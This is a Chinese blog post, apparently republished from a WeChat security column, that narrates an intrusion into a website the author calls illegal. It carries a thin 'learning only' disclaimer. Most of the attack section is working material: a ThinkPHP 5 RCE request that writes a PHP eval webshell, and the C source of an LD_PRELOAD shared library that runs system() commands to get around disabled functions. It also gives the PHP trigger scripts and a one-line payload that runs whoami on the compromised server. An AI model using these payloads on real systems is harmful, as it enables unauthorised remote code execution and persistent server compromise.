前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >实战 | 记一次非法站点的艰难渗透

实战 | 记一次非法站点的艰难渗透

作者头像
F12sec
发布2022-09-29 20:29:49
8870
发布2022-09-29 20:29:49
举报
文章被收录于专栏:F12sec

这是F12sec的第61篇原创

申明:本次测试只作为学习用处,请勿未授权进行渗透测试,切勿用于其它用途!

ps:本文章投稿来自M78安全团队的花童师傅。花童yyds!!!

1.前言

首先要感谢mucn巨佬提供的鼎力相助

目标站:www.xxxx.xxxx

2.漏洞实例

这里注入什么的就不用说了,没什么用,我也不发那种拖沓的过程截图了

随手一个admin出现后台 (和若依真像)

账号密码admin/1234 进去后 基本没有什么功能

发现没什么用

不过暴露了一个信息 tp建的

tp 直接拿一波exp打一下 不就完了 (感觉太顺利了就有鬼)

然后命令执行 好家伙 IP无了

看来需要手动一波 这里推荐下mucn哥哥的分享

https://github.com/mulcl/S_mucn/blob/main/RCE/Thinkphp5_RCE.md

这里首先测试一波phpinfo

好的没什么问题

写一波马

代码语言:javascript
复制
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=136.php&vars[1][1]=<?=eval($_REQUEST[HT]);?>

写入正常(不可能这么顺利吧)

顺手看看是否禁用了一些函数 我努力保持微笑 心想(蚁剑有插件 蚁剑有插件)

(注:哥斯拉和冰蝎全部阵亡 貌似就普通一句话还能打,所以这里用了蚁剑)

用了冰蝎后出现

两者都是一样的效果 如下:

接下来看到这些绿框框我就《放心》了:

再即将开始操作的时候

蚁老师?发生什么事了

看到红框大事不妙 返回web页面刷新一波 我tm又无了

完蛋 这里触及到知识盲区了 没办法 我就是这么菜 要去请教一下巨佬了通过mucn哥哥分享的一处知识链接 去看了下

https://blog.csdn.net/qq_41107295/article/details/98462891?ivk_sa=1024320u

原理:php不允许命令执行,但php可以通过LD_PRELOAD这个东西调用so文件,然后可以通过mile或error_log函数触发执行so文件。所以so文件里可以写一些命令执行的内容,那么此时也就不是php执行命令了,而是so文件执行的系统命令。

这里我vps启动下访问

这里往目录里写个写个TXT测试目标主机是不是可以出网。

可以看见成功输出了我写入的文本

利用网上大佬写的动态调用c脚本

代码语言:javascript
复制
脚本如下:#define _GNU_SOURCE#include <stdlib.h>#include <stdio.h>#include <string.h>extern char** environ;__attribute__ ((__constructor__)) void preload (void){  // get command line options and arg   const char* cmdline = getenv("EVIL_CMDLINE");  // unset environment variable LD_PRELOAD.  // unsetenv("LD_PRELOAD") no effect on some  // distribution (e.g., centos), I need crafty trick.   int i;   for (i = 0; environ[i]; ++i) {           if (strstr(environ[i], "LD_PRELOAD")) {                   environ[i][0] = '\0';           }   }  // executive command   system(cmdline);}

编译一波

把编译好的.so上传到vps里。

这里我是挂了代理复活后直接又用一次操作机会将so上传至网站目录内

网上的脚本:

代码语言:javascript
复制
<?php$cmd=$_GET[“cmd”];$out_path=$_GET[“outpath”];$evil_cmdline=$cmd.”>”.$out_path.”2>&1″;echo“<p<b>cmdline</b>:”.$evil_cmdline.“</p>”;putenv(“EVIL_CMDLINE=”$evil_cmdline);$so_path=$_GET[“sopath”];putenv(“LD_PRELOAD=”.$so_path);mail(“message”,“”,“”,“”);echo“<p><b>output</b>:<br/>”.nl2br(file_get_contents($out_path)).“</p>

修改简化下脚本直接用在一句话木马上:

代码语言:javascript
复制
<?php$cmd = “uname -a”;

#表示执行的命令

代码语言:javascript
复制
$out_path = “/tmp/by”;

#so文件接收到执行命令执行后输出到这个文件里(最基本就是得有写入权限,如果没有可能还得修改c源码)

代码语言:javascript
复制
$evil_cmdline = $cmd . ” > ” . $out_path . ” 2>%261″;

#传递参数值

代码语言:javascript
复制
putenv(“EVIL_CMDLINE=”.$evil_cmdline);
代码语言:javascript
复制
$so_path=“/www/www/wwwroot/kehu21/03/kh330_cfv4/public/HT666.so”;

#so文件路径,一定要对

代码语言:javascript
复制
putenv(“LD_PRELOAD=” . $so_path);

#调用so文件

代码语言:javascript
复制
mail(“message”, “”, “”, “”);

#通过mile函数触发这个so文件并且执行echo “output: “

最后把这些函数给写成一行也就可以直接网页执行了。Paylaod:

代码语言:javascript
复制
HT=$cmd=“whoami”;$out_path=“/tmp/by”;$evil_cmdline=$cmd.”>”.$out_path.”2>%261″;putenv(“EVIL_CMDLINE=”.$evil_cmdline);$so_path=“/www/www/wwwroot/kehu21/03/kh330_cfv4/public/HT666.so”;putenv(“LD_PRELOAD=”$so_path);mail(“message”,“”,“”,“”);echo“output:” . file_get_contents($out_path);unlink($out_path);

成功命令执行:

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-07-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 F12sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.前言
  • 2.漏洞实例
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档